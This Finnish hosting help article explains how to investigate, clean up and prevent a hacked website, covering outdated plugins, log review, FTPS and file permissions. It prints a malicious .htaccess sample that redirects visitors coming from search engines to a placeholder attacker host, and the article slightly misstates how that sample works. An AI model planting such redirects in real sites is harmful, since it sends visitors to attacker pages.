Apua! Sivustoni on hakkeroitu. Miten voin korjata tilanteen tai estää sen?
On ikävää, jos tilisi on hakkeroitu. Teemme kaikkemme, jotta hakkereiden olisi mahdollisimman vaikea päästä sisään, mutta valitettavasti voi silti käydä niin, että hakkeri saa pääsyn sivustollesi. Silloin on tärkeää selvittää, miten hakkeri on päässyt järjestelmääsi.
Selvittäminen voi olla vaikeaa ja aikaa vievää, mutta syyn tai lähteen löytäminen on tärkeää, jotta sama ei toistu tulevaisuudessa. Pelkkä kaiken poistaminen ja varmuuskopion palauttaminen ei ratkaise ongelmaa.
Älä palauta saastunutta sivustoa verkkoon, ellet ole 100-prosenttisen varma, että ongelma on korjattu ja sivusto on turvallinen.
Voit itse poistaa verkkotunnuksen tilapäisesti käytöstä ohjauspaneelin verkkotunnusasetuksista (tai Windows-hostingissa Websites-valinnan kautta), jotta hakkeroitu sivusto ei aiheuta lisää vahinkoa muille. Voit myös palauttaa vanhan varmuuskopion Installatronin kautta (Linux-hosting) tai käyttää varmuuskopiomoduuliamme. Poista ensin kaikki kansiot ja tiedostot ja palauta varmuuskopio vasta sen jälkeen, muuten uudet lisätyt ja hakkeroidut tiedostot jäävät palvelimelle.
Voit myös antaa asiantuntijoidemme korjata hakkeroinnin. Koska työ vie paljon aikaa, palvelu on valitettavasti maksullinen.
Lue lisää palvelusta.
Mahdollisten syiden selvittäminen:
- Yleisin syy: käytät skriptiä tai lisäosaa, jota ei ole päivitetty uusimpaan versioon, joka ei ole turvallinen tai jossa on virheitä. Kyse voi olla myös esimerkiksi WordPressin tai Joomlan moduulista.
- Tarjoat kävijöillesi mahdollisuuden ladata tiedostoja, ja joku kävijöistä on ladannut PHP-ohjelman palvelimelle ja suorittanut sen.
- Käytät ennalta arvattavia, liian helppoja salasanoja tai salasanoja, jotka voi selvittää esimerkiksi haveibeenpwned.com-palvelun kautta.
- Tietokoneesi on saanut viruksen, madon tai näppäilyjen tallentajan (keylogger), joka urkkii salasanoja ja käyttäjätunnuksia esimerkiksi FTP-tilistäsi.
- Olet tehnyt lomakkeen, johon voi syöttää esimerkiksi SQL- tai PHP-koodia, tai lomakkeen ilman Captchaa, jolloin sen kautta voi lähettää roskapostia.
- Tutki selaimen lokitiedostoista (DirectAdminissa valikossa tilastot / lokit), löytyykö niistä jotain epäilyttävää. Tutki myös LiteSpeed/Apache Usage Log- ja Backed up Apache logs -lokit. Etsi IP-osoitteita ulkomailta ja etenkin POST-pyyntöjä yhdessä ulkomaisen IP-osoitteen kanssa. Niistä löytyy usein jotain. Voit selvittää esimerkiksi sivustolla www.whatsmyip.org, mistä maasta IP-osoite on peräisin.
Miten estän hakkeroinnin:
- Tärkein: pidä kaikki skriptisi, kuten WordPress/Joomla, aina ajan tasalla uusimmilla päivityksillä. Tämä koskee ehdottomasti myös lisäosia ja teemoja. Päivitykset voi yleensä tehdä helposti Installatronin tai itse skriptin kautta.
- Käytä FTPS:ää tavallisen FTP:n sijaan
- Älä KOSKAAN käytä OMAA käyttäjätunnustasi ja salasanaasi skripteissä. Jos se on pakko, luo sitä varten erillinen käyttäjä ohjauspaneelissa.
- Käytä vain tunnettuja ja hyvämaineisia skriptejä ja pidä ne ajan tasalla.
- Älä KOSKAAN tarjoa mahdollisuutta ladata tiedostoja. Se on hengenvaarallista.
WordPress, Joomla ja muut skriptit: varmista, että uusin versio on asennettu!
WordPress, Joomla ja muut skriptit on tärkeää pitää ajan tasalla. Näin hakkeroinnit voidaan yleensä estää. Installatronin kautta (Linux-hosting) päivitykset asentuvat todella helposti. Jos et ole asentanut WordPressiä, Joomlaa tai muuta skriptiä Installatronin kautta, voit helposti tuoda sen jälkikäteen Installatroniin ja päivittää skriptisi sen jälkeen.
Kansioiden suojaaminen, esimerkiksi Joomlan administrator-kansio
Kansiot, kuten /administrator, kannattaa suojata erikseen. Tässä artikkelissa kerrotaan, miten se tehdään.
Iframe-hakkerointi:
Jos olet joutunut iframe-hakkeroinnin uhriksi, syy on usein tietokoneellasi oleva troijalainen, joka hankkii itselleen pääsyn FTP-tileillesi
- Tarkista, onko sivustosi todella hakkeroitu. Sen voi tehdä esimerkiksi UnmaskParasites-sivustolla.
- Kirjaudu sisään FTPS:llä FTP:n sijaan. FTP lähettää kaiken datan luettavana tekstinä, kun taas FTPS salaa lähetetyn datan, jolloin hakkereiden on vaikeampi saada arkaluonteisia tietoja selville.
- Vaihda nyt kaikki FTP-salasanasi.
- Muuta ohjauspaneelin tiedostonhallinnassa tai FTP:n kautta kaikkien kansioiden (Linux) oikeudeksi chmod 755 ja kaikkien tiedostojen oikeudeksi chmod 644.
HTACCESS-hakkerointi / .htaccess-tiedostoa on muutettu:
Alla olevassa esimerkissä hakkeri on muuttanut .htaccess-tiedostoasi. Tällöin Google ja Yahoo indeksoivat sivustosi normaalisti, mutta kaikki muut kävijät ohjataan hakkerin sivustolle.
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteRule .* http://hacker.xx/in.html?= [R,L]
Google pitää sivustoasi hyökkäyssivustona (Ilmoitettu hyökkäyssivusto!):
Alla olevista linkeistä voit hakea tietoa (syötä oma verkkotunnuksesi):
Tämän linkin kautta saat muun muassa tietoa, ja voit myös pyytää, ettei verkkotunnustasi tai sivustoasi enää pidetä hyökkäyssivustona. Varmista kuitenkin, että sivusto on todella puhdistettu kokonaan!
http://www.google.com/support/webmasters/bin/answer.py?hl=nl&answer=45432
- Valitse haluamasi sivusto Googlen verkkovastaavan työkalujen hallintapaneelista.
- Napsauta viestissä 'Tämän sivuston osat saattavat levittää haittaohjelmia' kohtaa 'Lisätietoja'.
- Napsauta 'Lähetä tarkistuspyyntö'.
